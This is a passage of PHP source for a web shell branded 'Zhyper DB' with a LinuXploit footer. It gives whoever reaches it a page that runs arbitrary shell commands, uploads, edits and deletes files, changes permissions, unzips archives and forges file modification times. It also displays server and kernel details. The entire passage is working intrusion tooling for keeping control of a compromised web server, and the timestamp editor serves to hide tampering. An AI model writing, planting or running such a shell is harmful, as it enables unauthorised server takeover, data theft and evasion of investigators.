        $alert .= '<div class="alert alert-danger">';
        $alert .= '✘ No working exec method found!<br>';
        $alert .= 'Available: ' . implode(', ', array_filter(array_map(function($m) {
            return function_exists($m) ? $m : null;
        }, $methods)));
        $alert .= '</div>';
    }
}

$file_list = [];
if (is_dir($now_path)) {
    $file_list = sortByFolder($now_path, scandir($now_path));
}

$current_date = $current_time = '';
if ($type == 8 && file_exists($file_path)) {
    $ts = filemtime($file_path);
    $current_date = date('Y-m-d', $ts);
    $current_time = date('H:i:s', $ts);
}

$uname_full = php_uname('a');
?>
<!DOCTYPE html>
<html lang="en">
<head>
  <title>Zhyper DB</title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;600;700&family=Oxanium:wght@700;800&display=swap" rel="stylesheet">
  <style>
    *, *::before, *::after { margin:0; padding:0; box-sizing:border-box; }

    :root {
      --bg:       #000;
      --bg2:      #111520;
      --bg3:      #161b26;
      --border:   #1e2535;
      --border2:  #252d40;
      --text:     #c4cfe0;
      --text-dim: #5a6a85;
      --accent:   #00e5a0;
      --accent2:  #00b8ff;
      --danger:   #ff4d6a;
      --warn:     #ffb347;
      --folder:   #ffd166;
      --mono:     'JetBrains Mono', monospace;
      --sans:     'Oxanium', sans-serif;
    }

    body {
      background: var(--bg);
      color: var(--text);
      font-family: var(--mono);
      font-size: 13px;
      min-height: 100vh;
    }

    a { color: var(--accent2); text-decoration: none; }
    a:hover { color: var(--accent); }

    /* ===== LAYOUT ===== */
    .layout {
      display: flex;
      min-height: 100vh;
    }

    /* ===== SIDEBAR ===== */
    .sidebar {
      width: 240px;
      min-width: 240px;
      background: var(--bg2);
      border-right: 1px solid var(--border);
      display: flex;
      flex-direction: column;
      position: sticky;
      top: 0;
      height: 100vh;
      overflow-y: auto;
    }

    /* Logo */
    .sidebar-logo {
      font-family: var(--sans);
      font-size: 1.6rem;
      font-weight: 800;
      color: var(--accent);
      letter-spacing: 3px;
      padding: 1.2rem 1.3rem 1rem;
      border-bottom: 1px solid var(--border);
    }
    .sidebar-logo span { color: var(--text-dim); }

    /* Section header */
    .sb-section {
      padding: 1rem 1.3rem .5rem;
    }
    .sb-section-title {
      font-size: 10px;
      letter-spacing: 2px;
      text-transform: uppercase;
      color: var(--text-dim);
      margin-bottom: .8rem;
      padding-bottom: .4rem;
      border-bottom: 1px solid var(--border);
    }

    /* Info rows — lebih besar & jelas */
    .info-row {
      margin-bottom: .9rem;
    }
    .info-key {
      font-size: 10px;
      color: var(--text-dim);
      text-transform: uppercase;
      letter-spacing: 1px;
      margin-bottom: .2rem;
    }
    .info-val {
      font-size: 13px;       /* naik dari 11px */
      color: var(--text);
      font-weight: 600;
      word-break: break-all;
      line-height: 1.4;
    }
    .info-val.green  { color: var(--accent); }
    .info-val.blue   { color: var(--accent2); }

    /* uname box */
    .uname-box {
      background: var(--bg);
      border: 1px solid var(--border);
      border-radius: 4px;
      padding: .6rem .7rem;
      font-size: 11px;      /* naik dari 10px */
      color: var(--accent2);
      word-break: break-all;
      line-height: 1.6;
      margin-top: .3rem;
    }

    .sidebar-spacer { flex: 1; }

    /* ===== MAIN ===== */
    .main {
      flex: 1;
      display: flex;
      flex-direction: column;
      min-width: 0;
    }

    /* ===== TOPBAR ===== */
    .topbar {
      background: var(--bg3);
      border-bottom: 1px solid var(--border);
      padding: .5rem 1.4rem .55rem;
      font-size: 15px;
      position: sticky;
      top: 0;
      z-index: 10;
    }
    /* Baris 1: PATH breadcrumb */
    .topbar-path {
      display: flex;
      align-items: center;
      gap: .4rem;
      flex-wrap: wrap;
      margin-bottom: .4rem;
    }
    .topbar .label {
      font-size: 10px;
      color: var(--text-dim);
      text-transform: uppercase;
      letter-spacing: 1px;
      white-space: nowrap;
    }
    .topbar .sep { color: var(--border2); }
    .topbar .path-part a { color: var(--text); font-weight: 600; }
    .topbar .path-part a:hover { color: var(--accent); }

    /* Baris 2: Home + R + W sejajar */
    .topbar-actions {
      display: flex;
      align-items: center;
      gap: .4rem;
      margin-bottom: .45rem;
    }

    /* Baris 3: toolbar sticky */
    .topbar-toolbar {
      display: flex;
      flex-direction: column;
      gap: .4rem;
      padding-top: .45rem;
      border-top: 1px solid var(--border);
    }
    .topbar-toolbar-row {
      display: flex;
      align-items: center;
      gap: .4rem;
      flex-wrap: wrap;
    }
    .topbar-toolbar form { display: flex; align-items: center; gap: .4rem; }

    .badge-rw {
      font-size: 15px;
      padding: .15rem .5rem;
      border-radius: 3px;
      font-weight: 700;
      letter-spacing: .5px;
    }
    .badge-ok   { background: rgba(0,229,160,.12); color: var(--accent); border: 1px solid rgba(0,229,160,.3); }
    .badge-fail { background: rgba(255,77,106,.12); color: var(--danger); border: 1px solid rgba(255,77,106,.3); }

    .home-btn {
      display: inline-flex;
      align-items: center;
      gap: .35rem;
      background: transparent;
      border: 1px solid var(--border2);
      border-radius: 4px;
      padding: .22rem .95rem;
      color: var(--accent);
      font-family: var(--mono);
      font-size: 15px;
      font-weight: 600;
      text-decoration: none;
      transition: background .15s, border-color .15s;
      white-space: nowrap;
    }
    .home-btn:hover {
      background: rgba(0,229,160,.1);
      border-color: var(--accent);
      color: var(--accent);
    }

    /* ===== BODY ===== */
    .zhyper-db-body { padding: 1.2rem 1.4rem; flex: 1; }

    /* ===== ALERTS ===== */
    .alert {
      padding: .6rem 1rem;
      border-radius: 5px;
      margin-bottom: .8rem;
      font-size: 12px;
      display: flex;
      align-items: center;
      gap: .5rem;
    }
    .alert-success { background: rgba(0,229,160,.1);  color: var(--accent);  border: 1px solid rgba(0,229,160,.25); }
    .alert-danger  { background: rgba(255,77,106,.1); color: var(--danger);  border: 1px solid rgba(255,77,106,.25); }
    .alert-warning { background: rgba(255,179,71,.1); color: var(--warn);    border: 1px solid rgba(255,179,71,.25); }

    /* ===== TOOLBAR — moved to topbar ===== */

    /* ===== BUTTONS ===== */
    .btn {
      display: inline-flex;
      align-items: center;
      gap: .3rem;
      padding: .35rem .75rem;
      border-radius: 4px;
      font-family: var(--mono);
      font-size: 13px;
      font-weight: 600;
      cursor: pointer;
      border: 1px solid transparent;
      text-decoration: none;
      transition: all .15s;
      white-space: nowrap;
    }
    .btn-accent { background:rgba(0,229,160,.15);  color:var(--accent);  border-color:rgba(0,229,160,.3);  }
    .btn-accent:hover { background:rgba(0,229,160,.25);  color:var(--accent);  }
    .btn-blue   { background:rgba(0,184,255,.15);  color:var(--accent2); border-color:rgba(0,184,255,.3);  }
    .btn-blue:hover   { background:rgba(0,184,255,.25);  color:var(--accent2); }
    .btn-warn   { background:rgba(255,179,71,.15); color:var(--warn);   border-color:rgba(255,179,71,.3); }
    .btn-warn:hover   { background:rgba(255,179,71,.25); color:var(--warn);   }
    .btn-danger { background:rgba(255,77,106,.15); color:var(--danger); border-color:rgba(255,77,106,.3); }
    .btn-danger:hover { background:rgba(255,77,106,.25); color:var(--danger); }
    .btn-ghost  { background:transparent; color:var(--text-dim); border-color:var(--border2); }
    .btn-ghost:hover  { color:var(--text); border-color:var(--text-dim); }
    .btn-upload { background:rgba(0,229,160,.1); color:var(--accent); border-color:rgba(0,229,160,.2); }
    .btn-upload:hover { background:rgba(0,229,160,.2); }

    input[type=file] {
      font-family: var(--mono);
      font-size: 12px;
      color: var(--text-dim);
      background: var(--bg3);
      border: 1px solid var(--border2);
      border-radius: 4px;
      padding: .3rem .5rem;
    }

    /* ===== TABLE ===== */
    .file-table-wrap { overflow-x: auto; }
    table { width:100%; border-collapse:collapse; font-size:12px; }
    thead tr { background:var(--bg3); border-bottom:2px solid var(--border2); }
    thead th {
      padding: .65rem .75rem;
      color: var(--text-dim);
      font-weight: 600;
      text-align: left;
      white-space: nowrap;
      font-size: 11px;
      letter-spacing: .5px;
      text-transform: uppercase;
    }
    tbody tr { border-bottom:1px solid var(--border); transition:background .1s; }
    tbody tr:hover { background:rgba(255,255,255,.025); }
    tbody td { padding:.5rem .75rem; vertical-align:middle; }

    input[type=checkbox] { accent-color:var(--accent); width:13px; height:13px; cursor:pointer; }

    .fname-folder       { color:var(--folder); font-weight:600; }
    .fname-folder:hover { color:#ffe599; }
    .fname-file         { color:var(--text); }
    .fname-file:hover   { color:var(--accent2); }
    .folder-icon        { vertical-align:middle; margin-right:4px; }
    .size-dir           { color:var(--accent); font-weight:600; font-size:10px; }
    .mtime              { color:var(--text-dim); font-size:11px; }
    .owner              { color:var(--accent2); font-size:11px; }
    .owner-diff         { color: #ffffff; font-size: 11px; }
    .perm-ok            { color:var(--accent); font-weight:700; }
    .perm-fail          { color: #ffffff; font-weight:700; }
    .url-link           { color:var(--text-dim); font-size:11px; }
    .url-link:hover     { color:var(--accent2); }
    .actions            { display:flex; gap:.3rem; flex-wrap:wrap; }

    /* ===== FORM CARD ===== */
    .form-card {
      background: var(--bg2);
      border: 1px solid var(--border);
      border-radius: 8px;
      padding: 1.5rem;
      max-width: 860px;
    }
    .form-card h4 {
      font-family: var(--sans);
      font-size: 1rem;
      color: #e8edf5;
      margin-bottom: 1.2rem;
      padding-bottom: .6rem;
      border-bottom: 1px solid var(--border);
    }
    .form-card h4 span { color: var(--accent); }
    .form-group { margin-bottom: 1rem; }
    .form-group label {
      display: block;
      color: var(--text-dim);
      font-size: 11px;
      letter-spacing: .5px;
      text-transform: uppercase;
      margin-bottom: .4rem;
    }
    .form-control {
      width: 100%;
      background: var(--bg);
      border: 1px solid var(--border2);
      border-radius: 4px;
      padding: .55rem .85rem;
      color: var(--text);
      font-family: var(--mono);
      font-size: 12px;
      outline: none;
      transition: border-color .15s;
    }
    .form-control:focus { border-color: var(--accent); }
    textarea.form-control { resize: vertical; }
    .form-actions { display:flex; gap:.5rem; margin-top:1.2rem; }

    .empty-state { text-align:center; color:var(--text-dim); padding:2rem; font-size:12px; }

    ::-webkit-scrollbar { width:5px; height:5px; }
    ::-webkit-scrollbar-track { background:var(--bg2); }
    ::-webkit-scrollbar-thumb { background:var(--border2); border-radius:3px; }
    ::-webkit-scrollbar-thumb:hover { background:var(--text-dim); }

    .btn-exec { background:rgba(255,107,107,.15); color:#ff6b6b; border-color:rgba(255,107,107,.3); }
    .btn-exec:hover { background:rgba(255,107,107,.25); }

    #bg-video {
      position: fixed;
      bottom: 0;
      right: 0;
      width: 1000px;  /* sesuaikan ukurannya */
      height: auto;
      z-index: -1;
    }
  </style>
</head>
<body>
<video autoplay muted loop playsinline id="bg-video">
  <source src="https://zhyperdb.dev/img/gojo.mp4" type="video/mp4">
</video>
<div class="layout">

  <!-- ===== SIDEBAR ===== -->
  <aside class="sidebar">
    <div class="sidebar-logo">Zhyper<span>DB</span></div>

    <div class="sb-section">
      <div class="sb-section-title">Server Info</div>

      <div class="info-row">
        <div class="info-key">IP Address</div>
        <div class="info-val green"><?php echo $data['SERVER_ADDR']; ?></div>
      </div>
      <div class="info-row">
        <div class="info-key">Software</div>
        <div class="info-val"><?php echo $data['SERVER_SOFTWARE']; ?></div>
      </div>
      <div class="info-row">
        <div class="info-key">Domains</div>
        <div class="info-val blue"><?php echo $data['HTTP_HOST']; ?></div>
      </div>
      <div class="info-row">
        <div class="info-key">User</div>
        <div class="info-val"><?php echo get_current_user(); ?></div>
      </div>
      <div class="info-row">
        <div class="info-key">PHP Version</div>
        <div class="info-val green"><?php echo PHP_VERSION; ?></div>
      </div>
    </div>

    <div class="sb-section">
      <div class="sb-section-title">OS / Kernel</div>
      <div class="info-row">
        <div class="uname-box"><?php echo htmlspecialchars($uname_full); ?></div>
      </div>
    </div>

    <div class="sidebar-spacer"></div>
  </aside>

  <!-- ===== MAIN ===== -->
  <div class="main">

    <!-- TOPBAR: 2 baris -->
    <div class="topbar">
      <!-- Baris 1: path breadcrumb -->
      <div class="topbar-path">
        <span class="label">PATH</span>
        <?php
        $file_now_path = '';
        $file_now_url  = '';
        foreach ($file_path_array as $v) {
            if (empty($v)) {
                echo '<span class="path-part"><a href="?path=/">/</a></span>';
            } else {
                $file_now_url  = empty($file_now_url) ? $v : $file_now_url . '/' . $v;
                $file_now_path = $file_now_path . '/' . $v;
                echo '<span class="sep">/</span><span class="path-part"><a href="?path=' . htmlspecialchars($file_now_path) . '">' . htmlspecialchars(trim($v)) . '</a></span>';
            }
        }
        ?>
      </div>
      <!-- Baris 2: Home + R + W -->
      <div class="topbar-actions">
        <a class="home-btn" href="?path=<?php echo htmlspecialchars(dirname($data['SCRIPT_FILENAME'])); ?>">🏠 Home</a>
        <span class="badge-rw <?php echo $can_read  ? 'badge-ok' : 'badge-fail'; ?>">R</span>
        <span class="badge-rw <?php echo $can_write ? 'badge-ok' : 'badge-fail'; ?>">W</span>
      </div>
      <!-- Baris 3: toolbar -->
      <?php if ($type == '' || $type == 1): ?>
      <div class="topbar-toolbar">
        <!-- Baris 1: upload + new file + new folder -->
        <div class="topbar-toolbar-row">
          <form action="?path=<?php echo htmlspecialchars($file_path); ?>" method="post" enctype="multipart/form-data">
            <input type="hidden" name="act" value="upload"/>
            <input type="file" name="fileToUpload">
            <button type="submit" class="btn btn-upload">⬆ Upload</button>
          </form>
          <a class="btn btn-accent" href="?path=<?php echo htmlspecialchars($file_path); ?>&type=6">📄 New File</a>
          <a class="btn btn-blue"   href="?path=<?php echo htmlspecialchars($file_path); ?>&type=7">📁 New Folder</a>
        </div>
        <!-- Baris TERMINAL EXEC -->
        <div class="topbar-toolbar-row">
          <form action="?path=<?php echo htmlspecialchars($file_path); ?>" method="post" style="display:flex;align-items:center;gap:.4rem;">
            <input type="hidden" name="act" value="exec"/>
            <input type="text" name="cmd" placeholder="whoami" style="max-width:400px;padding:.3rem .6rem;font-size:12px;border:1px solid var(--border2);border-radius:4px;background:var(--bg);color:var(--text);">
            <button type="submit" class="btn btn-accent" style="padding:.3rem .8rem;font-size:12px;">⚡ EXEC</button>
          </form>
        </div>
        <!-- Baris 2: delete selected -->
        <div class="topbar-toolbar-row">
          <form action="?path=<?php echo htmlspecialchars($file_path); ?>" method="post" id="del-top-form">
            <input type="hidden" name="act" value="del"/>
            <button type="submit" class="btn btn-danger" onclick="syncCheckboxes(); return confirm('Delete selected items?')">🗑 Delete Selected</button>
          </form>
        </div>
      </div>
      <?php endif; ?>
      </div>

    <!-- CONTENT -->
    <div class="zhyper-db-body">

      <?php if ($alert): echo $alert; endif; ?>

      <?php if ($type == 2 || $type == 3): ?>
      <div class="form-card">
        <h4>✏️ Edit File — <span><?php echo htmlspecialchars(basename($file_path)); ?></span></h4>
        <form action="?type=3" method="post">
          <input type="hidden" name="path" value="<?php echo htmlspecialchars($file_path); ?>"/>
          <div class="form-group">
            <label>Content</label>
            <textarea class="form-control" name="file_content" rows="25"><?php echo htmlspecialchars(file_get_contents($file_path)); ?></textarea>
          </div>
          <div class="form-actions">
            <button type="submit" class="btn btn-accent">💾 Save</button>
            <a class="btn btn-ghost" href="?path=<?php echo htmlspecialchars($now_path); ?>">✕ Cancel</a>
          </div>
        </form>
      </div>

      <?php elseif ($type == 4): ?>
      <div class="form-card">
        <h4>✏️ Rename — <span><?php echo htmlspecialchars(basename($file_path)); ?></span></h4>
        <form action="?type=4" method="post">
          <input type="hidden" name="path" value="<?php echo htmlspecialchars($file_path); ?>"/>
          <div class="form-group">
            <label>New Name</label>
            <input type="text" class="form-control" name="file_new_name" value="<?php echo htmlspecialchars(basename($file_path)); ?>">
          </div>
          <div class="form-actions">
            <button type="submit" class="btn btn-accent">✔ Rename</button>
            <a class="btn btn-ghost" href="?path=<?php echo htmlspecialchars($now_path); ?>">✕ Cancel</a>
          </div>
        </form>
      </div>

      <?php elseif ($type == 5): ?>
      <div class="form-card">
        <h4>🔒 Change Permission — <span><?php echo htmlspecialchars(basename($file_path)); ?></span></h4>
        <form action="?type=5" method="post">
          <input type="hidden" name="path" value="<?php echo htmlspecialchars($file_path); ?>"/>
          <div class="form-group">
            <label>Octal Permission (e.g. 0755)</label>
            <input type="text" class="form-control" name="new_chmod" value="<?php echo htmlspecialchars($old_chmod); ?>" style="max-width:200px;">
          </div>
          <div class="form-actions">
            <button type="submit" class="btn btn-warn">✔ Change</button>
            <a class="btn btn-ghost" href="?path=<?php echo htmlspecialchars($now_path); ?>">✕ Cancel</a>
          </div>
        </form>
      </div>

      <?php elseif ($type == 6): ?>
      <div class="form-card">
        <h4>📄 Create New File</h4>
        <form action="?type=6" method="post">
          <input type="hidden" name="path" value="<?php echo htmlspecialchars($file_path); ?>"/>
          <div class="form-group">
            <label>File Name</label>
            <input type="text" class="form-control" name="new_name" value="<?php echo htmlspecialchars($new_name); ?>" placeholder="e.g. index.php">
          </div>
          <div class="form-group">
            <label>Content</label>
            <textarea class="form-control" name="new_content" rows="20" placeholder="File content..."><?php echo htmlspecialchars($new_content); ?></textarea>
          </div>
          <div class="form-actions">
            <button type="submit" class="btn btn-accent">✔ Create</button>
            <a class="btn btn-ghost" href="?path=<?php echo htmlspecialchars($file_path); ?>">✕ Cancel</a>
          </div>
        </form>
      </div>

      <?php elseif ($type == 7): ?>
      <div class="form-card">
        <h4>📁 Create New Folder</h4>
        <form action="?type=7" method="post">
          <input type="hidden" name="path" value="<?php echo htmlspecialchars($file_path); ?>"/>
          <div class="form-group">
            <label>Folder Name</label>
            <input type="text" class="form-control" name="new_name" value="<?php echo htmlspecialchars($new_name); ?>" placeholder="e.g. uploads">
          </div>
          <div class="form-actions">
            <button type="submit" class="btn btn-accent">✔ Create</button>
            <a class="btn btn-ghost" href="?path=<?php echo htmlspecialchars($file_path); ?>">✕ Cancel</a>
          </div>
        </form>
      </div>

      <?php elseif ($type == 8): ?>
      <div class="form-card">
        <h4>🕐 Change Modification Time — <span><?php echo htmlspecialchars(basename($file_path)); ?></span></h4>
        <form action="?type=8" method="post">
          <input type="hidden" name="path" value="<?php echo htmlspecialchars($file_path); ?>"/>
          <div class="form-group">
            <label>Date & Time</label>
            <input type="text" class="form-control" name="new_datetime" 
                  value="<?php echo $current_date . ' ' . $current_time; ?>" 
                  placeholder="2026-02-10 17:33"
                  style="max-width:220px;">
          </div>
          <div class="form-actions">
            <button type="submit" class="btn btn-blue">✔ Change</button>
            <a class="btn btn-ghost" href="?path=<?php echo htmlspecialchars($now_path); ?>">✕ Cancel</a>
          </div>
        </form>
      </div>

      <?php elseif ($type == 9): ?>
      <div class="form-card">
        <h4>📦 Unzip — <span><?php echo htmlspecialchars(basename($file_path)); ?></span></h4>
        <form action="?type=9" method="post">
          <input type="hidden" name="path" value="<?php echo htmlspecialchars($file_path); ?>"/>
          <div class="form-group">
            <label>Extract To (leave as-is for same folder)</label>
            <input type="text" class="form-control" name="extract_to" value="<?php echo htmlspecialchars($now_path); ?>">
          </div>
          <div class="form-actions">
            <button type="submit" class="btn btn-warn">📦 Extract Now</button>
            <a class="btn btn-ghost" href="?path=<?php echo htmlspecialchars($now_path); ?>">✕ Cancel</a>
          </div>
        </form>
      </div>

      <?php elseif ($type == 10): ?>
      <script>setTimeout(function(){ window.location.href = "?path=<?php echo rawurlencode($now_path); ?>"; }, 1200);</script>
      <div class="alert alert-success">↩ Redirecting back...</div>

      <?php else: ?>
      <!-- FILE LIST -->
      <form action="?path=<?php echo htmlspecialchars($file_path); ?>" method="post" id="bulk-form">
        <input type="hidden" name="act" value="del"/>
        <div class="file-table-wrap">
          <table>
            <thead>
              <tr>
                <th><input type="checkbox" id="allcheck"></th>
                <th>Name</th>
                <th>URL</th>
                <th>Size</th>
                <th>Modified</th>
                <th>Owner / Group</th>
                <th>Permission</th>
                <th>Action</th>
              </tr>
            </thead>
            <tbody>
            <?php
            $has_files = false;
            foreach ($file_list as $v):
                if ($v === '.' || $v === '..') continue;
                $has_files  = true;
                $file_url   = $now_path . '/' . $v;
                $is_folder  = is_dir($file_url);
                $ext        = strtolower(pathinfo($file_url, PATHINFO_EXTENSION));
                $perm       = getFilePermission($file_url);
                $perm_ok    = is_writable($file_url);
                $mtime      = filemtime($file_url);
                $owner_grp  = getOwnerGroup($file_url);
                $owner_match  = (strpos($owner_grp, $current_user) !== false);
                $confirm_del = $is_folder
                    ? 'Delete FOLDER \'' . addslashes($v) . '\' and ALL its contents?'
                    : 'Delete file \'' . addslashes($v) . '\'?';
            ?>
              <tr>
                <td><input class="childcheck" type="checkbox" value="<?php echo htmlspecialchars($file_url); ?>" name="childcheck[]"></td>
                <td>
                  <?php if ($is_folder): ?>
                    <a href="?path=<?php echo htmlspecialchars($file_url); ?>&type=1" class="fname-folder">
                      <svg class="folder-icon" xmlns="http://www.w3.org/2000/svg" width="14" height="14" fill="currentColor" viewBox="0 0 16 16">
                        <path d="M.54 3.87.5 3a2 2 0 0 1 2-2h3.672a2 2 0 0 1 1.414.586l.828.828A2 2 0 0 0 9.828 3h3.982a2 2 0 0 1 1.992 2.181l-.637 7A2 2 0 0 1 13.174 14H2.826a2 2 0 0 1-1.991-1.819l-.637-7a1.99 1.99 0 0 1 .342-1.31zM2.19 4a1 1 0 0 0-.996 1.09l.637 7a1 1 0 0 0 .995.91h10.348a1 1 0 0 0 .995-.91l.637-7A1 1 0 0 0 13.81 4H2.19zm4.69-1.707A1 1 0 0 0 6.172 2H2.5a1 1 0 0 0-1 .981l.006.139C1.72 3.042 1.95 3 2.19 3h5.396l-.707-.707z"/>
                      </svg>
                      <?php echo htmlspecialchars($v); ?>
                    </a>
                  <?php else: ?>
                    <a href="?path=<?php echo htmlspecialchars($file_url); ?>&type=2" class="fname-file"><?php echo htmlspecialchars($v); ?></a>
                  <?php endif; ?>
                </td>
                <td>
                  <?php $visit_url = (strpos($file_url, $website_path) === 0) 
                      ? $web_url . '/' . rawurlencode(str_replace($website_path . '/', '', $file_url))
                      : ''; ?>
                  <?php if ($visit_url): ?>
                    <a class="url-link" href="<?php echo $visit_url; ?>" target="_blank">↗ visit</a>
                  <?php else: ?>
                    <span class="url-link" style="opacity:.4;">—</span>
                  <?php endif; ?>
                </td>
                <td><?php echo $is_folder ? '<span class="size-dir">DIR</span>' : getFileSize($file_url); ?></td>
                <td class="mtime"><?php echo date('Y-m-d H:i', $mtime); ?></td>
                <td class="<?php echo $owner_match ? 'owner' : 'owner-diff'; ?>"><?php echo htmlspecialchars($owner_grp); ?></td>
                <td class="<?php echo $perm_ok ? 'perm-ok' : 'perm-fail'; ?>"><?php echo $perm; ?></td>
                <td>
                  <div class="actions">
                    <a class="btn btn-blue"   href="?path=<?php echo htmlspecialchars($file_url); ?>&type=4">Rename</a>
                    <?php if (!$is_folder): ?>
                      <a class="btn btn-accent" href="?path=<?php echo htmlspecialchars($file_url); ?>&type=2">Edit</a>
                    <?php endif; ?>
                    <a class="btn btn-warn"   href="?path=<?php echo htmlspecialchars($file_url); ?>&type=5">Chmod</a>
                    <a class="btn btn-ghost"  href="?path=<?php echo htmlspecialchars($file_url); ?>&type=8">Chtime</a>
                    <?php if (!$is_folder && $ext === 'zip'): ?>
                      <a class="btn btn-warn" href="?path=<?php echo htmlspecialchars($file_url); ?>&type=9">Unzip</a>
                    <?php endif; ?>
                    <a class="btn btn-danger" href="?path=<?php echo htmlspecialchars($file_url); ?>&type=10"
                       onclick="return confirm('<?php echo htmlspecialchars($confirm_del, ENT_QUOTES); ?>')">Del</a>
                  </div>
                </td>
              </tr>
            <?php endforeach; ?>
            <?php if (!$has_files): ?>
              <tr><td colspan="8" class="empty-state">— No files in this directory —</td></tr>
            <?php endif; ?>
            </tbody>
          </table>
        </div>
      </form>
      <?php endif; ?>

    </div><!-- /zhyper-db-body -->
  </div><!-- /main -->
</div><!-- /layout -->

<script>
document.getElementById('allcheck') && document.getElementById('allcheck').addEventListener('change', function(){
    document.querySelectorAll('.childcheck').forEach(function(el){ el.checked = this.checked; }, this);
});

function syncCheckboxes() {
    // Clone checked values into del-top-form
    var topForm = document.getElementById('del-top-form');
    if (!topForm) return;
    // Remove old hidden inputs
    topForm.querySelectorAll('input[name="childcheck[]"]').forEach(function(el){ el.remove(); });
    // Add current checked
    document.querySelectorAll('.childcheck:checked').forEach(function(el){
        var inp = document.createElement('input');
        inp.type = 'hidden';
        inp.name = 'childcheck[]';
        inp.value = el.value;
        topForm.appendChild(inp);
    });
}
</script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit